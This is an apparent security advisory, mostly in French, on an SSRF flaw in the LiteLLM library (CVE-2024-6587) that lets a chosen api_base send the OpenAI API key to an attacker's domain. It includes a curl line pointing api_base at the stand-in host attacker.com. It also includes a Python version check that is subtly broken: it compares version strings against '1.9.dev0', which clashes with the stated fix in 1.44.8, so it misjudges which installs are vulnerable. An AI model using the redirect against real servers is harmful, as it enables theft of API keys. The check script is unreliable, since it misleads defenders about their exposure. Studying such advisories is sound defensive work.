Vulnérabilité Server-Side Request Forgery (SSRF) dans LiteLLM

L'exploitation réussie de cette vulnérabilité SSRF permet à un attaquant de spécifier le paramètre api_base dans les requêtes POST /chat/completions. En dirigeant cette requête vers un domaine contrôlé par l'attaquant, il peut intercepter la clé API OpenAI utilisée par litellm. Cette clé API, si compromise, peut être utilisée pour accéder et exploiter les services OpenAI de manière non autorisée, entraînant des coûts financiers, une fuite de données sensibles ou une atteinte à la réputation. Le risque est amplifié si litellm est utilisé dans des environnements de production avec des données sensibles ou des intégrations critiques.

Applications utilizing the berriai/litellm library, particularly those integrated with OpenAI services, are at risk. Environments where the api_base parameter is not properly validated or sanitized are especially vulnerable. Shared hosting environments where multiple users might interact with the litellm application are also at increased risk.

• python / library:

import os
import subprocess

def check_litellm_version():
    try:
        result = subprocess.check_output(['pip', 'show', 'litellm'], stderr=subprocess.STDOUT, text=True)
        version_line = [line for line in result.splitlines() if 'Version:' in line]
        if version_line:
            version = version_line[0].split(': ')[1].strip()
            if version <= '1.9.dev0':
                print(f"[!] litellm version {version} is vulnerable to CVE-2024-6587. Upgrade to 1.44.8 or later.")
            else:
                print("[+] litellm version is not vulnerable.")
        else:
            print("[!] Could not determine litellm version.")
    except FileNotFoundError:
        print("[!] litellm is not installed.")

check_litellm_version()

• generic web:

curl -I 'http://your-litellm-app/chat/completions?api_base=http://attacker.com' | grep api_base

1. 2024-09-13Disclosure

   disclosure

2. 2024-09-13Patch

   patch

1. Réservé2024-07-08
2. Publiée2024-09-13
3. EPSS mis à jour2026-04-02

La mitigation principale consiste à mettre à jour litellm vers la version 1.44.8 ou supérieure, qui corrige cette vulnérabilité. Si la mise à jour n'est pas immédiatement possible, une solution temporaire consiste à restreindre l'accès au paramètre apibase via une validation stricte des entrées utilisateur. Implémentez des règles de pare-feu d'application web (WAF) pour bloquer les requêtes suspectes contenant des domaines non autorisés dans le paramètre apibase. Surveillez les journaux d'accès pour détecter les tentatives d'exploitation de la vulnérabilité, en recherchant des requêtes vers des domaines inconnus ou suspects. Après la mise à jour, vérifiez la configuration de litellm pour vous assurer que le paramètre api_base est correctement validé et sécurisé.